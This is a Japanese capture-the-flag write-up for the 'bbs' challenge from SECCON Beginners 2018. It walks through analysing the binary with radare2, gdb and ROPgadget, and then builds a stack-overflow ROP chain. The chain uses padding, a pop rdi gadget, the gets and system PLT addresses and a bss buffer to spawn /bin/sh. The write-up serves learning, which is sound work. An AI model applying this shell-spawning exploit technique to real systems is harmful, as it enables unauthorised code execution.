bbs ( SECCON beginners 2018)のwriteup

CTF

問題に掲示されている場所にnetcatで繋いでみます。

$ nc pwn1.chall.beginners.seccon.jp 18373
Input Content : aaaa

==============================

Wed May 30 21:48:16 JST 2018
aaaa

==============================

bbsサービスにアクセスすると、文字を書き込め、書き込んだ投稿が表示されます。
またELF64の実行ファイルが与えられています。

radare2でmain関数を見て見ます。

$ r2 bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7
[0x00400590]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00400590]> afl
0x00400047    1 165          fcn.00400047
0x004004e8    3 26           sym._init
0x00400520    1 6            sym.imp.puts
0x00400530    1 6            sym.imp.setbuf
0x00400540    1 6            sym.imp.system
0x00400550    1 6            sym.imp.printf
0x00400560    1 6            sym.imp.__libc_start_main
0x00400570    1 6            sym.imp.gets
0x00400580    1 6            sub.__gmon_start_580
0x00400590    1 41           entry0
0x004005c0    4 50   -> 41   sym.deregister_tm_clones
0x00400600    3 53           sym.register_tm_clones
0x00400640    3 28           sym.__do_global_dtors_aux
0x00400660    4 38   -> 35   entry1.init
0x00400686    1 27           sym.init
0x004006a1    1 89           sym.main
0x00400700    4 101          sym.__libc_csu_init
0x00400770    1 2            sym.__libc_csu_fini
0x00400774    1 9            sym._fini
[0x00400590]> s sym.main
[0x004006a1]> VV

stringsコマンドで文字列を拾ってもflagという文字列は一個もでてきませんし、main関数をみてわかるように、何かの条件を満たすとflag.txtを表示させる、みたいな安直なものではありません。
つまり、シェルを起動させて、そこからflagを探すことが必要なんだと予想がつきます。

main関数のなかでsystem関数に直に文字列str.dateを渡しているところがあります。
これは、system関数をROPに使ってね!というヒントだと思われます。

(というか、このsystem関数呼び出しがなかったとすると、このバイナリではsystem関数がPLTに載らない かつ このバイナリではsystem関数が呼び出せるようなROPガジェットが無い のでこのままではsystem関数は呼び出せない….のかな?
実行時にリンクされるライブラリを使って、Return-to-libc 攻撃みたいなのを行うことになるんだと思います。よくわかりません。
どんなライブラリがリンクされているのかはlddコマンドで見てください。)

本当にスタックオーバーフローとROPができるかチェックします

ASLR(とPIE)が有効だとアドレスのリークから始めなきゃならなくなったり、stack canaryが有効だとスタックオーバーフロー攻撃のためにはカナリアのリークやチェックする関数の回避などをしなきゃならなくなります。
これらのセキュリティ機構が有効でないかをgdb-pedaのchecksecコマンドで確認します。

 $ gdb bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXとPartial RELROが有効なだけなので大丈夫だとわかります。

NXビットはスタックとかの上にあるコードが実行不可能になりますが、今回はROPですから、スタック上には「命令のアドレス」が置いてあるだけなので大丈夫。

Partial RELROはよく知らんけど、PLTやGOTといったELF内部データセクションをデータ関係のセクションより前に配置し(=単純なスタックオーバーフローで書き換えできないのでやりにくくなる)、それに加えnon-PLT GOT(←なに?)が書き換え不可になる…らしいです。
今回はGOTを書き換えたりしないので関係ないです。

radare2で関数のPLTのエントリのアドレスを確認します。

[0x00000000]> afl
0x00400047    1 165          fcn.00400047
0x004004e8    3 26           sym._init
0x00400520    1 6            sym.imp.puts
0x00400530    1 6            sym.imp.setbuf
0x00400540    1 6            sym.imp.system
0x00400550    1 6            sym.imp.printf
0x00400560    1 6            sym.imp.__libc_start_main
0x00400570    1 6            sym.imp.gets
  (...中略...)

gets関数は0x00400570、system関数は0x00400540が、PLTのエントリのアドレスです。
ここにジャンプすればその関数が呼び出せるというわけです。

次にrdiに値を入れる命令を探します。

x64のSystem V ABIでは、第一引数をrdiを介して関数に引数を渡すため、rdiを自由に書き換える命令が必要です。

ROPgadget(←固有名詞)というツールがあります。バイナリ中のROPガジェットを探してくれる機能があります。
(gdb-pedaのdumpropコマンドなど色々他のツールもあります。)

# ./ROPgadget.py  --binary ~/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7  | grep rdi
0x0000000000400763 : pop rdi ; ret

0x00400763に、rdiにスタックからpopしてretしてくれる便利な命令がみつかりましたね。

最後に、”/bin/sh”という文字列をどうするかです。

ROPgadgetツールで調べて見ても、ちょうどよい文字列は存在しません。
なので、bssセクションに確保することにしてしまいましょう。
書き込み権限があり、そして書き換えても影響がないことが多いbssセクションはこういうときに利用されがちです。

bssセクションは、gdbで次のようにして確認しました。0x00601058から始まっています。
(radare2ならiSコマンドでセクション一覧が出ます)

$ gdb bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7
(gdb) info files
Symbols from "/root/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7".
Local exec file:
    `/root/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7', file type elf64-x86-64.
    Entry point: 0x400590
    0x0000000000400238 - 0x0000000000400254 is .interp
    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
    0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
    0x0000000000400298 - 0x00000000004002bc is .gnu.hash
    0x00000000004002c0 - 0x0000000000400398 is .dynsym
    0x0000000000400398 - 0x00000000004003f6 is .dynstr
    0x00000000004003f6 - 0x0000000000400408 is .gnu.version
    0x0000000000400408 - 0x0000000000400428 is .gnu.version_r
    0x0000000000400428 - 0x0000000000400458 is .rela.dyn
    0x0000000000400458 - 0x00000000004004e8 is .rela.plt
    0x00000000004004e8 - 0x0000000000400502 is .init
    0x0000000000400510 - 0x0000000000400580 is .plt
    0x0000000000400580 - 0x0000000000400588 is .plt.got
    0x0000000000400590 - 0x0000000000400772 is .text
    0x0000000000400774 - 0x000000000040077d is .fini
    0x0000000000400780 - 0x00000000004007ec is .rodata
    0x00000000004007ec - 0x0000000000400828 is .eh_frame_hdr
    0x0000000000400828 - 0x000000000040093c is .eh_frame
    0x0000000000600e08 - 0x0000000000600e18 is .init_array
    0x0000000000600e18 - 0x0000000000600e20 is .fini_array
    0x0000000000600e20 - 0x0000000000600e28 is .jcr
    0x0000000000600e28 - 0x0000000000600ff8 is .dynamic
    0x0000000000600ff8 - 0x0000000000601000 is .got
    0x0000000000601000 - 0x0000000000601048 is .got.plt
    0x0000000000601048 - 0x0000000000601058 is .data
    0x0000000000601058 - 0x0000000000601068 is .bss

道具は揃ったのでこれらを使ってROPチェインを組み立てます。

  1. rdiに適当な場所(今回はbss先頭 、0x601058)のアドレスを入れ、引数の準備
  2. gets関数を呼び出し、そこに”/bin/sh”などsystem関数に渡したい文字列を書き込む
  3. rdiにbss先頭、0x601058を入れて、引数の準備
  4. system関数を呼び出し、”/bin/sh”を実行

ということができるように組み立てると、

このようになります。

1度目のgets関数のときにスタックオーバーフローを利用し、main関数の呼び出し元アドレス(図ではオレンジの部分) からあとをROPチェインに書き換えているという感じです。

136バイトぶん’a’とかで埋めて、
0x00400763 (pop rdi ; ret)、
0x00601058 (bssのアドレス)、
0x00400570 (gets関数のPLTエントリ)、
0x00400763 (pop rdi ; ret)、
0x00601058 (bssのアドレス)、
0x00400540 (system関数のPLTエントリ)
というデータを送信すれば良いです。

コメント